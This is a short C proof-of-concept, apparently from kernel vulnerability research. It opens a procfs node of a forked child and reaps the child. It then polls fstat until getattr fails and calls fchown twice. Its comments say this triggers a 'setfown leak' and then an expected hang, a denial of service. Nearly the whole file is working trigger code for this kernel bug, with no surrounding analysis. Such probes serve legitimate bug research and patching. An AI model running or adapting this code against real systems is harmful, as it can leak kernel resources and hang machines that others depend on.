DF-2550 / probe_procfs2.c
/* Probe: after reaping the child, loop fstat(fd) to detect when procfs * VOP_GETATTR starts returning ENOENT (proc freed). Then do fchown to * trigger the setfown leak. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> #include <errno.h> #include <string.h> int main(void) { char path[64]; int pfd[2], fd = -1, rc, i; pid_t pid, w; struct stat st; setvbuf(stderr, NULL, _IONBF, 0); if (pipe(pfd) < 0) { perror("pipe"); return 2; } pid = fork(); if (pid < 0) { perror("fork"); return 2; } if (pid == 0) { close(pfd[1]); char b; while(read(pfd[0],&b,1)<0&&errno==EINTR){} _exit(0); } close(pfd[0]); const char *tries[] = { "file", "mem", "cmdline", "etype", "map", NULL }; for (i = 0; tries[i] && fd < 0; i++) { snprintf(path, sizeof(path), "/proc/%d/%s", (int)pid, tries[i]); fd = open(path, O_RDONLY); } if (fd < 0) { snprintf(path,sizeof(path),"/proc/%d",(int)pid); fd = open(path, O_RDONLY); } if (fd < 0) { fprintf(stderr,"open failed: %s\n", strerror(errno)); close(pfd[1]); waitpid(pid,NULL,0); return 2; } fprintf(stderr,"[probe] opened %s fd=%d\n", path, fd); close(pfd[1]); while ((w = waitpid(pid, NULL, 0)) < 0 && errno == EINTR) {} fprintf(stderr,"[probe] child %d reaped\n",(int)pid); /* poll fstat (=VOP_GETATTR) for up to 5s to catch ENOENT */ for (i = 0; i < 50; i++) { errno = 0; rc = fstat(fd, &st); fprintf(stderr,"[probe] t+%4.1fs fstat rc=%d errno=%d (%s)\n", i*0.1, rc, errno, rc?strerror(errno):"ok"); if (rc < 0) break; /* getattr now failing */ usleep(100000); } if (rc == 0) { fprintf(stderr,"[probe] getattr never failed; bug not triggerable via this procfs vnode\n"); return 3; } fprintf(stderr,"[probe] getattr now FAILS -> attempting fchown to trigger setfown leak\n"); errno = 0; rc = fchown(fd, -1, -1); fprintf(stderr,"[probe] fchown#1 rc=%d errno=%d (%s) <- LEAK if rc<0\n", rc, errno, rc?strerror(errno):"ok"); fprintf(stderr,"[probe] fchown#2 -> expect HANG (DoS)\n"); errno = 0; rc = fchown(fd, -1, -1); fprintf(stderr,"[probe] fchown#2 rc=%d errno=%d (%s) -- RETURNED\n", rc, errno, rc?strerror(errno):"ok"); return 0; } |